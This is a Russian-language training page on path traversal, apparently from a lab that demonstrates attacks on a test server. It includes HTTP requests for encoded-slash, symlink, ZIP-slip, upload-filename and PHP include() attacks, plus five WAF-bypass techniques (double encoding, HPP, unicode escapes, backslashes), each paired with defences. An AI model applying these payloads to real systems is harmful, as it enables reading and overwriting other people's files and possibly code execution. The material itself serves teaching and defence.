Маркер private-demo возможен, только если проверка сырого JSON не эквивалентна проверке parsed path. Корректная валидация после JSON.parse отвергнет путь.
Необходимое условие: Backend использует JSON-строку как путь, а защитный слой сравнивает сырой JSON вместо разобранного значения.
Почему уязвимо
Проверка сырого тела не соответствует итоговому значению.
Как защититься
Проверять значение после JSON.parse и реальный путь файловой системы.
Источник: MITRE CWE-22
Импакт
Прямой результат: Раскрытие файла, если raw JSON прошёл проверку, но разобранное поле path используется для чтения за пределами public.
Возможные последствия и ограничения: Если POST-обработчик только создаёт отчёт или валидирует разобранное значение до файловой операции, показанной утечки не будет.
Сегменты URL path могут нормализоваться браузером или reverse proxy до передачи обработчику; при поддержке закодированных слешей итог зависит от инфраструктуры.
Предыстория / Red Team: Мы тестируем маршрут /api/docs/{path}. Пробуем закодированный слеш и проверяем, сохраняет ли proxy запрос, а обработчик — декодирует сегмент перед чтением.
HTTP-запрос
GET /api/docs/%2e%2e%2fprivate%2flab-config.txt HTTP/1.1
Host: lab.example.test
Accept: text/plainОтвет учебного сервера
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
lab-marker=private-demoКак значение проходит обработку
- ВВОД
%2e%2e%2fprivate%2flab-config.txtПользовательский ввод: Пользователь меняет сегмент URL-маршрута, а не query; проверяется маршрут и поведение proxy.
- ОБРАБОТКА
router может декодировать → ../private/lab-config.txtGET /api/docs/%2e%2e%2fprivate%2flab-config.txt после декодирования сегмента может стать ../private/lab-config.txt. Опасна разница между тем, что проверил router, и тем, что открыл файловый обработчик.
- ФАЙЛОВАЯ СИСТЕМА
/srv/app/private/lab-config.txtОтвет с маркером возможен лишь при допуске encoded slash и достижении конкретного файлового sink. Если маршрутизатор отверг URL, дефект не подтверждён.
- ГРАНИЦА
Убедиться, что данный URL дошёл до приложения и был интерпретирован именно так.Нужна проверка фактического конечного файла: Не полагаться на вид URL до прокси; ограничивать итоговый файловый путь.
Почему так получилось
GET /api/docs/%2e%2e%2fprivate%2flab-config.txt после декодирования сегмента может стать ../private/lab-config.txt. Опасна разница между тем, что проверил router, и тем, что открыл файловый обработчик.
Как убедиться, что это действительно сработало
Ответ с маркером возможен лишь при допуске encoded slash и достижении конкретного файлового sink. Если маршрутизатор отверг URL, дефект не подтверждён.
Необходимое условие: Proxy/router разрешает encoded slash, сохраняет маршрут, а обработчик превращает захваченный сегмент в путь; другой proxy может вернуть 400/404.
Почему уязвимо
При проверке на raw path и чтении по декодированному пути возникает несогласованность.
Как защититься
Не полагаться на вид URL до прокси; ограничивать итоговый файловый путь.
Источник: OWASP WSTG
Импакт
Прямой результат: Чтение файла вне каталога docs, если reverse proxy пропускает закодированный слеш, а backend разрешает декодированный выход.
Возможные последствия и ограничения: Разные маршрутизаторы могут вернуть 400/404; кодированный сегмент не даёт права читать недоступные файловому процессу объекты.
04 / Ссылки и распаковка архивов2 вектора
Symlink уже существует на сервере или создан благодаря другой возможности записи; ZIP/TAR содержит имена файлов внутри архива. Обычный GET не создаёт символическую ссылку. Подготовка окружения для symlink и ZIP показана отдельно в карточках.
Ранее размещённый link.txt — символическая ссылка внутри public на файл в private. Сам GET ссылку не создаёт.
Предыстория / Red Team: Ранее мы нашли загрузку архива, которая сохранила наш link.txt именно как символическую ссылку в public на /srv/app/private/lab-config.txt. Теперь запрашиваем link.txt через файловый API и проверяем выход за public.
HTTP-запрос
GET /api/files?file=link.txt HTTP/1.1
Host: lab.example.test
Accept: text/plainОтвет учебного сервера
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
lab-marker=private-demoКак значение проходит обработку
- ВВОД
link.txtМы запрашиваем уже размещённую ссылку. GET её не создаёт.
- ОБРАБОТКА
/srv/app/public/link.txtНа вид путь расположен внутри разрешённого public.
- ФАЙЛОВАЯ СИСТЕМА
symlink target → /srv/app/private/lab-config.txtОС переходит по ссылке к файлу за пределами public.
- ГРАНИЦА
Путь должен быть проверен с разрешением ссылок, а не по лексическим сегментам.Проверять конечный объект после разрешения символических ссылок.
Почему так получилось
Сервер открывает /srv/app/public/link.txt, а файловая система следует по symlink и читает /srv/app/private/lab-config.txt. Проверка только текстового имени link.txt не видит выход за public.
Как убедиться, что это действительно сработало
Ответ содержит маркер private-demo из внешнего файла. Без этого маркера или серверного журнала чтения путь выхода не подтверждён.
Необходимое условие: Уязвимая загрузка сохранила именно symlink (например, при распаковке архива), а файловый API следует ссылке при чтении. Загрузка обычного текстового файла этого не делает.
Почему уязвимо
Лексический путь внутри корня, целевой inode — вне него.
Как защититься
Разрешать ссылки и ограничивать фактически открытый объект; при необходимости запрещать symlink.
Источник: MITRE CWE-59
Импакт
Прямой результат: Чтение содержимого целевого файла вне public через уже размещённую символическую ссылку.
Возможные последствия и ограничения: Возможна утечка конфигурации и ключей, но только если ссылку действительно удалось разместить или найти и процесс может читать её цель; запись или RCE не следуют из GET.
В запросе передаётся ID архива, а traversal находится во внутреннем имени записи.
Предыстория / Red Team: Ранее мы загрузили ZIP с записью ../private/lab-config.txt. Теперь вызываем распаковку по archive_id и проверяем, не записал ли сервер файл вне каталога extracted.
HTTP-запрос
POST /api/archive/extract HTTP/1.1
Host: lab.example.test
Content-Type: application/json
Content-Length: 28
{"archive_id":"training-14"}Ответ учебного сервера
HTTP/1.1 200 OK
Content-Type: application/json
{"extracted":1}Как значение проходит обработку
- ВВОД
ZIP entry name: ../private/lab-config.txtПользовательский ввод: Сначала злоумышленник формирует ZIP с особым именем внутренней записи; затем другой обработчик принимает архив. Здесь HTTP передаёт archive_id, а не сегменты ../.
- ОБРАБОТКА
target=/srv/app/extracted/../private/lab-config.txtИмя ../private/lab-config.txt находится внутри ZIP metadata. При наивной записи /srv/app/extracted/../private/lab-config.txt попадает в /srv/app/private. Безопасные библиотеки могут отбрасывать .. или применять собственную проверку — это надо проверить, а не предполагать.
- ФАЙЛОВАЯ СИСТЕМА
/srv/app/private/lab-config.txtОтвет {"extracted":1} подтверждает лишь обработку одной записи, не выход за каталог. Доказательство — наличие контрольного маркера во внешнем файле либо надёжный audit-log записи.
- ГРАНИЦА
Проверить путь для КАЖДОЙ записи до записи содержимого.Нужна проверка фактического конечного файла: Проверять resolved destination и безопасно обрабатывать записи/символические ссылки.
Почему так получилось
Имя ../private/lab-config.txt находится внутри ZIP metadata. При наивной записи /srv/app/extracted/../private/lab-config.txt попадает в /srv/app/private. Безопасные библиотеки могут отбрасывать .. или применять собственную проверку — это надо проверить, а не предполагать.
Как убедиться, что это действительно сработало
Ответ {"extracted":1} подтверждает лишь обработку одной записи, не выход за каталог. Доказательство — наличие контрольного маркера во внешнем файле либо надёжный audit-log записи.
Необходимое условие: Архив training-14 действительно содержит такое имя записи; только id архива без этой записи не доказывает дефект.
Почему уязвимо
Экстрактор доверяет имени записи в архиве.
Как защититься
Проверять resolved destination и безопасно обрабатывать записи/символические ссылки.
Источник: OWASP WSTG: File Upload Testing
Импакт
Прямой результат: Произвольная запись или перезапись файлов вне каталога extracted в пределах прав процесса распаковки; это нарушение целостности.
Возможные последствия и ограничения: Возможны изменение конфигурации, отказ в обслуживании и, если перезаписанный файл позднее исполняется, выполнение кода. Ответ {"extracted":1} не доказывает запись: нужен маркер или журнал.
05 / Загрузка и включение файлов2 вектора
В этих двух сценариях пользователь передаёт имя будущего файла или шаблона. Важно видеть, какой компонент сохраняет или включает файл, а не только путь в HTTP.
Клиент контролирует filename; сервер не должен интерпретировать его как директорию.
Предыстория / Red Team: Мы нашли загрузку, которая использует filename из multipart при сохранении. Отправляем наш файл с именем ../private/lab-config.txt и проверяем фактическое место записи.
HTTP-запрос
POST /api/upload HTTP/1.1
Host: lab.example.test
Content-Type: multipart/form-data; boundary=lab123
Content-Length: 153
--lab123
Content-Disposition: form-data; name="file"; filename="../private/lab-config.txt"
Content-Type: text/plain
lab-marker=overwrite-demo
--lab123--Ответ учебного сервера
HTTP/1.1 201 Created
Content-Type: application/json
{"stored":true}Как значение проходит обработку
- ВВОД
filename="../private/lab-config.txt"Пользовательский ввод: Клиент управляет filename в multipart Content-Disposition; имя на сервере должно назначаться независимо от него.
- ОБРАБОТКА
server upload_dir + client filenameПоле filename — метаданные, полностью заданные клиентом. Если сохранение делает filesystem path из этих метаданных, сегмент .. выходит за uploads. Само multipart имя не выполняет запись, её выполняет сервер.
- ФАЙЛОВАЯ СИСТЕМА
/srv/app/private/lab-config.txtHTTP 201 {"stored":true} не доказывает выхода за каталог. Нужна проверка итогового pathname и маркера overwrite-demo, а также права записи серверного процесса.
- ГРАНИЦА
Результатом является запись вне каталога upload.Нужна проверка фактического конечного файла: Генерировать серверный ID/имя и хранить вне общедоступного дерева.
Почему так получилось
Поле filename — метаданные, полностью заданные клиентом. Если сохранение делает filesystem path из этих метаданных, сегмент .. выходит за uploads. Само multipart имя не выполняет запись, её выполняет сервер.
Как убедиться, что это действительно сработало
HTTP 201 {"stored":true} не доказывает выхода за каталог. Нужна проверка итогового pathname и маркера overwrite-demo, а также права записи серверного процесса.
Необходимое условие: Сервер сохраняет файл под исходным именем с сохранением сегментов пути и имеет право записи на целевой файл.
Почему уязвимо
Файловое имя от клиента становится доверенным путём назначения.
Как защититься
Генерировать серверный ID/имя и хранить вне общедоступного дерева.
Источник: OWASP Path Traversal Prevention
Импакт
Прямой результат: Сохранение файла вне uploads: создание или перезапись доступного процессу файла, например конфигурации или данных.
Возможные последствия и ограничения: Возможны порча данных и недоступность сервиса; выполнение кода только при дополнительных условиях — запись в путь, который затем интерпретируется или исполняется.
Путь выбирается тем же параметром, но последствия определяет серверная функция: file read возвращает исходный текст, PHP include() интерпретирует PHP-код в подключённом файле. LFI — смежный механизм, а не отдельная форма записи ../.
Предыстория / Red Team: Ранее мы загрузили безвредный PHP-файл marker.php с выводом lab-marker=php-included в /srv/app/uploads. Теперь проверяем, подключает ли его сервер через параметр template вместо обычного чтения.
Вариант 1 — Простое чтение файла (read())
HTTP-запрос 1
GET /api/files?file=../uploads/marker.php HTTP/1.1
Host: lab.example.test
Accept: text/plainОтвет сервера 1
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
<?php echo 'lab-marker=php-included'; ?>Вариант 2 — изменённый путь
HTTP-запрос 2
GET /api/render?template=../uploads/marker.php HTTP/1.1
Host: lab.example.test
Accept: text/plainОтвет сервера 2
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
lab-marker=php-includedВ чём разница: Один и тот же ранее загруженный marker.php. /api/files лишь возвращает его исходный PHP-текст; /api/render с небезопасным PHP include() выполняет echo и возвращает только маркер. Разница в серверной операции, а не в payload ../.
Как значение проходит обработку
- ВВОД
template=../uploads/marker.phpМы ранее загрузили marker.php; теперь параметром template указываем этот файл вне разрешённой директории шаблонов.
- ОБРАБОТКА
include('/srv/app/templates/../uploads/marker.php')Учебный PHP-backend соединяет templates с введённым путём и передаёт результат в include(), а не readfile().
- ФАЙЛОВАЯ СИСТЕМА
/srv/app/uploads/marker.phpФайл доступен PHP-процессу и содержит безопасный PHP-код: <?php echo 'lab-marker=php-included'; ?>
- ИНТЕРПРЕТАТОР
PHP include() → lab-marker=php-includedPHP выполняет оператор echo из подключённого файла. Простое чтение вернуло бы исходный PHP-код как текст.
Почему так получилось
Path Traversal выводит выбранный путь из каталога templates к uploads. Но решающее отличие LFI — передача этого файла в PHP include(): код внутри PHP-тегов интерпретируется сервером. Поэтому простой ../ не равен RCE; опасная цепочка возникает при включении контролируемого нами файла.
Как убедиться, что это действительно сработало
Контрольный GET /api/files возвращает буквальный PHP-текст, а GET /api/render отдаёт только lab-marker=php-included. Это показывает работу include() в учебном PHP-приложении. Если второй endpoint тоже просто возвращает текст, доказательства исполнения нет.
Необходимое условие: Нужны одновременно: загрузка PHP-файла с сохранением содержимого; доступ PHP-процесса к /srv/app/uploads/marker.php; неконтролируемый путь template; фактический вызов PHP include() без allowlist. Обычный файловый read или безопасный шаблонизатор не дают исполнения PHP.
Почему уязвимо
Параметр template попадает в PHP include() без списка допустимых файлов; после выхода за templates возможно включение загруженного нами PHP-файла.
Как защититься
Не передавать пользовательский путь в include(); использовать ID из фиксированного списка шаблонов. Отдельно запретить включение файлов загрузок и ограничивать разрешённый путь.
Источник: OWASP WSTG — Testing for Local File Inclusion
Импакт
Прямой результат: При небезопасном PHP include() сервер выполняет PHP-код в нашем ранее загруженном файле, а не возвращает его исходный текст.
Возможные последствия и ограничения: Если удалось контролировать содержимое включаемого PHP-файла, возможен RCE в пределах прав PHP-процесса. Если приложение только читает файл или шаблонизатор не исполняет PHP, такого импакта нет.
04 / ОБХОД WAF
Обход WAF
Пять WAF-сценариев с Red Team-предысторией и условием расхождения WAF/backend. Вывод подтверждается обработкой на каждом слое, а не одним статусом 200.
Предыстория / Red Team: Мы увидели, что WAF блокирует буквальный ../. Проверяем URL-кодировку и сопоставляем записи WAF с тем, какой путь реально получил backend.
Вариант 1 — исходная форма
HTTP-запрос 1
GET /api/files?file=../private/lab-config.txt HTTP/1.1
Host: lab.example.test
Accept: text/plainУсловный ответ 1
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"waf_rule_blocked"}Вариант 2 — изменённая форма
HTTP-запрос 2
GET /api/files?file=%2e%2e%2fprivate%2flab-config.txt HTTP/1.1
Host: lab.example.test
Accept: text/plainУсловный ответ 2
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
lab-marker=private-demoRAW → WAF → BACKEND → FILESYSTEM
- RAW
%2e%2e%2fprivate%2flab-config.txtВ сети закодирована последовательность ../.
- WAF
Без URL_DECODE: правило по строке '../' не срабатываетПредполагаемая конфигурация, не универсальное поведение WAF.
- BACKEND
decode → ../private/lab-config.txtФреймворк видит относительный переход в файловом пути.
- FILESYSTEM
/srv/app/private/lab-config.txtЕсли нет проверки каталога — риск раскрытия.
Откуда возникает различие
Первый HTTP содержит ../ и блокируется фильтром; второй содержит %2e%2e%2f, который WAF без нормализации не распознаёт. Backend декодирует его в ../. Это не гарантия обхода современного WAF.
Что проверяем в логах
Смотрите WAF logs и нормализованный путь на backend. Один 200 без маркера файла не доказывает, что прочитан внешний объект.
Когда возможно расхождение: Фильтр проверяет сырое значение, а backend делает percent-decode; при одинаковой нормализации обход не возникает.
Ограничение сценария
Уязвимость находится в файловой операции, а не в одном лишь URL-кодировании.
Правильная защита
WAF должен нормализовать вход перед правилом; backend обязательно проверяет resolved path.
Источник: AWS WAF URL_DECODE
Импакт
Прямой результат: При указанном расхождении проверки WAF и backend закодированный запрос может пройти фильтр и привести к чтению файла вне разрешённого каталога.
Возможные последствия и ограничения: Это обход конкретного WAF-правила, а не новая способность файловой системы; при совпадающей нормализации или корректной проверке пути утечки не будет.
Предыстория / Red Team: Мы обнаружили различие в числе декодирований WAF и backend. Отправляем двойную кодировку и проверяем, на каком слое появляется ../.
Вариант 1 — исходная форма
HTTP-запрос 1
GET /api/files?file=%2e%2e%2fprivate%2flab-config.txt HTTP/1.1
Host: lab.example.test
Accept: text/plainУсловный ответ 1
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"waf_rule_blocked"}Вариант 2 — изменённая форма
HTTP-запрос 2
GET /api/files?file=%252e%252e%252fprivate%252flab-config.txt HTTP/1.1
Host: lab.example.test
Accept: text/plainУсловный ответ 2
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
lab-marker=private-demoRAW → WAF → BACKEND → FILESYSTEM
- RAW
%252e%252e%252fprivate%252flab-config.txtПервый decode снимает только внешний слой %25.
- WAF
1 decode → %2e%2e%2fprivate%2flab-config.txtПравило на ../ не распознало оставшиеся %XX.
- BACKEND
2 decode → ../private/lab-config.txtДополнительный decode должен реально существовать.
- FILESYSTEM
/srv/app/private/lab-config.txtПуть снаружи допустимого каталога.
Откуда возникает различие
В исходной форме WAF может увидеть ../ и блокировать, но при двойной кодировке после первой обработки остаётся %2e%2e%2f. Дальнейший decode на backend порождает ../, которого WAF не видел.
Что проверяем в логах
Проверять реальное число вызовов декодирования. Если дважды декодируют оба слоя, различие отсутствует.
Когда возможно расхождение: WAF/edge делает одну нормализацию, а backend после проверки делает вторую.
Ограничение сценария
Если backend декодирует один раз, указанная цепочка не работает.
Правильная защита
Единая каноническая форма + контроль разрешённого пути после последнего decode.
Источник: PortSwigger: superfluous URL decode
Импакт
Прямой результат: При единственном decode в WAF и дополнительном decode в backend фильтр может пропустить путь, который после второго этапа указывает за пределы public.
Возможные последствия и ограничения: Сам WAF bypass не доказывает чтения секрета; необходимо подтверждение обработки конечного файла.
Предыстория / Red Team: Мы нашли неоднозначность повторяющегося параметра file. Передаём безопасное имя первым, внешний путь вторым и проверяем, какое значение выбирают WAF и backend.
Вариант 1 — исходная форма
HTTP-запрос 1
GET /api/files?file=guide.txt HTTP/1.1
Host: lab.example.test
Accept: text/plainУсловный ответ 1
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
public guideВариант 2 — изменённая форма
HTTP-запрос 2
GET /api/files?file=guide.txt&file=../private/lab-config.txt HTTP/1.1
Host: lab.example.test
Accept: text/plainУсловный ответ 2
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
lab-marker=private-demoRAW → WAF → BACKEND → FILESYSTEM
- RAW
file=guide.txt&file=../private/lab-config.txtПараметр file присутствует дважды.
- WAF
file → guide.txt (first-value parser)Если WAF инспектирует только первое значение.
- BACKEND
file → ../private/lab-config.txt (last-value parser)Если фреймворк использует последнее значение.
- FILESYSTEM
/srv/app/private/lab-config.txtВнешний файл, если его не проверяют.
Откуда возникает различие
WAF проверяет guide.txt, а backend открывает ../private/lab-config.txt. При одинаковом парсере правило работает согласованно, и воспроизвести эффект нельзя.
Что проверяем в логах
Доказывать через записи инспектора и backend. Сам факт двойного параметра ещё не делает сервер уязвимым.
Когда возможно расхождение: Реально различается поведение парсеров HPP: first vs last. Если оба слоя используют одно правило — обхода нет.
Ограничение сценария
Нельзя утверждать, что все WAF или backend выбирают первый/последний параметр.
Правильная защита
Разбирать дубликаты согласованно, отвергать неоднозначные запросы и проверять итоговый путь.
Источник: AWS WAF query pre-parse
Импакт
Прямой результат: Если WAF проверил первое file, а backend выбрал второе, возможно чтение внешнего файла, оставшегося вне проверки фильтра.
Возможные последствия и ограничения: Без подтверждённого различия парсеров дублирование параметра не даёт отдельного импакта.
Предыстория / Red Team: Мы проверяем JSON-endpoint, где WAF ищет ../ в сыром теле. Кодируем две точки как Unicode escapes и сравниваем значение после JSON-разбора.
Вариант 1 — исходная форма
HTTP-запрос 1
POST /api/exports HTTP/1.1
Host: lab.example.test
Content-Type: application/json
Content-Length: 36
{"path":"../private/lab-config.txt"}Условный ответ 1
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"waf_rule_blocked"}Вариант 2 — изменённая форма
HTTP-запрос 2
POST /api/exports HTTP/1.1
Host: lab.example.test
Content-Type: application/json
Content-Length: 46
{"path":"\u002e\u002e/private/lab-config.txt"}Условный ответ 2
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
lab-marker=private-demoRAW → WAF → BACKEND → FILESYSTEM
- RAW
{"path":"\u002e\u002e/private/lab-config.txt"}Обратный слеш и u-последовательность находятся внутри JSON-строки.
- WAF
Сканирует сырой body, не распарсив значение pathПри полноценном JSON parse правило увидит ../.
- BACKEND
JSON.parse → ../private/lab-config.txtЭто значение после разбора корректной JSON-строки.
- FILESYSTEM
/srv/app/private/lab-config.txtНарушение только если значение используется как путь без containment check.
Откуда возникает различие
JSON Unicode escape — часть синтаксиса строки. После JSON.parse значение path содержит обычные точки. Только если WAF не анализирует parsed value, его проверка может отличаться.
Что проверяем в логах
Проверить исходный JSON, parsed path и конечный путь; автоматическое JSON-парсирование WAF устраняет это расхождение.
Когда возможно расхождение: WAF ищет буквальное '../' в сыром теле, а приложение анализирует JSON значения после декодирования.
Ограничение сценария
JSON Unicode escape допустим в строке, не является самостоятельным обходом ACL или файловой изоляции.
Правильная защита
Проверять parsed JSON и итоговый resolved path; WAF — дополнительный слой.
Источник: MITRE CWE-22
Импакт
Прямой результат: Если WAF ищет ../ в сыром JSON, а backend открывает путь после Unicode-decoding, возможна утечка внешнего файла.
Возможные последствия и ограничения: Если WAF разбирает JSON и проверяет path в той же канонической форме или backend проверяет resolved path, эффект отсутствует.
Предыстория / Red Team: Мы тестируем файловый backend на Windows. Пробуем разделитель \ вместо / и выясняем, учитывает ли WAF обе формы.
Вариант 1 — исходная форма
HTTP-запрос 1
GET /api/files?file=../private/lab-config.txt HTTP/1.1
Host: lab.example.test
Accept: text/plainУсловный ответ 1
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"waf_rule_blocked"}Вариант 2 — изменённая форма
HTTP-запрос 2
GET /api/files?file=..%5cprivate%5clab-config.txt HTTP/1.1
Host: lab.example.test
Accept: text/plainУсловный ответ 2
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
lab-marker=private-demoRAW → WAF → BACKEND → FILESYSTEM
- RAW
..%5cprivate%5clab-config.txtРазделитель в запросе закодирован как %5c.
- WAF
decode → ..\private\lab-config.txtUNIX-ориентированное правило может искать только ../.
- BACKEND
Windows path parser принимает обратную косую чертуНа POSIX это не обязательно разделитель.
- FILESYSTEM
C:\app\private\lab-config.txtТолько в Windows-условиях и при отсутствии проверки корня.
Откуда возникает различие
WAF ищет UNIX-представление ../, тогда как Windows интерпретирует ..\ как подъём в родительский каталог. При поддержке обеих форм разделителя или при POSIX такой вывод может не повториться.
Что проверяем в логах
Нужны журналы WAF/backend и маркер private-demo; не считать кодировку %5c самостоятельной уязвимостью.
Когда возможно расхождение: Backend использует Windows-правила путей, WAF не учитывает его разделители.
Ограничение сценария
Для POSIX и при нормализации двух видов слешей эффект может отсутствовать.
Правильная защита
Нормализовать с учётом целевой ОС и проверять путь уже после каноникализации.
Источник: MITRE CWE-22
Импакт
Прямой результат: При Windows-семантике путей и неполной проверке разделителей возможно чтение файла за пределами public.
Возможные последствия и ограничения: На POSIX и при нормализации обратного слеша результат может отсутствовать; это не универсальный обход.
05 / ТЕОРИЯ И ЗАЩИТА
Теория и защита
Сравнение безопасного имени и выхода из public. Это схема учебного сервера, а не сетевой запрос со страницы.
HTTP-запрос
GET /api/files?file=../private/lab-config.txt HTTP/1.1
Host: lab.example.test
Accept: text/plainОтвет учебного сервера
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"path_outside_allowed_root"}Что означают строки и заголовки
- file
- Управляемая часть файлового пути.
- ../
- Переход к родительскому каталогу в POSIX-пути.
- 403
- Приложение отклонило путь, который после нормализации вышел за public.
- HTTP
- Протокол передаёт строку; файловый путь определяет backend.
Корректная защита может отклонить запрос до чтения файла. Только необычная строка в URL не доказывает наличие дефекта.
Одна и та же строка при текстовой проверке и после нормализации означает разный путь.
HTTP-запрос
GET /api/files?file=/srv/app/public/../private/lab-config.txt HTTP/1.1
Host: lab.example.test
Accept: text/plainОтвет учебного сервера
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"path_outside_allowed_root"}Что означают строки и заголовки
- public/../
- Строка начинается допустимой директорией, затем выходит в её родителя.
- resolve
- Функция превращает путь в итоговое расположение файла.
- root
- Нужно проверять компоненты разрешённого каталога, а не сырой префикс.
Строковый startswith до каноникализации не обеспечивает защиту.
Одинаковое имя файла становится опасным в разных файловых операциях по-разному.
HTTP-запрос
POST /api/exports HTTP/1.1
Host: lab.example.test
Content-Type: application/json
Content-Length: 38
{"output":"../private/lab-config.txt"}Ответ учебного сервера
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"path_outside_allowed_root"}Что означают строки и заголовки
- POST
- В учебном примере запрос на запись результата.
- output
- Указывает путь назначения на сервере.
- 403
- Запрет записи за пределами export-каталога.
Не смешивать доступ к файлу, запуск кода и обнаружение чувствительных данных — это разные результаты.
Приложение читает разрешённый файл, определённый сервером по ID, а не по произвольному относительному пути.
HTTP-запрос
GET /api/files?id=guide-2026 HTTP/1.1
Host: lab.example.test
Accept: text/plainОтвет учебного сервера
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
public guideЧто означают строки и заголовки
- id
- Сервер сопоставляет разрешённый идентификатор с конкретным объектом.
- нет filename
- Пользователь не управляет сегментами файловой системы.
- auth
- Отдельно проверяются права пользователя на объект.
Разрешение пути не заменяет контроль доступа (IDOR), а контроль доступа не заменяет файловую изоляцию.
| Мера защиты | Зачем и когда нужна |
|---|---|
| ID вместо пользовательского pathname | Сопоставлять разрешённый объект с путём на сервере; не предоставлять управление каталогом. |
| Каноникализация + containment check | После decode/resolve убеждаться, что итоговый путь — допустимый потомок базовой директории; сравнивать компоненты, не префикс строки. |
| Символические ссылки и файловая гонка | Проверять фактически открываемый объект и исключать подмену между проверкой и использованием; использовать защищённые API доступа к файлам. |
| Загрузка и распаковка | Генерировать имена на сервере; проверять каждую запись архива и target в разрешённом каталоге. |
| Минимальные права процесса | Даже при ошибке файловая операция не должна иметь доступ к секретам и конфигурациям за пределами рабочего набора. |
| WAF, логирование, алерты | Дополнительное обнаружение аномалий и выравнивание парсинга; не заменяет проверку resolved path. |
| Контроль доступа к файлу | Проверка файловой границы и проверка прав пользователя на конкретный файл решают разные задачи. |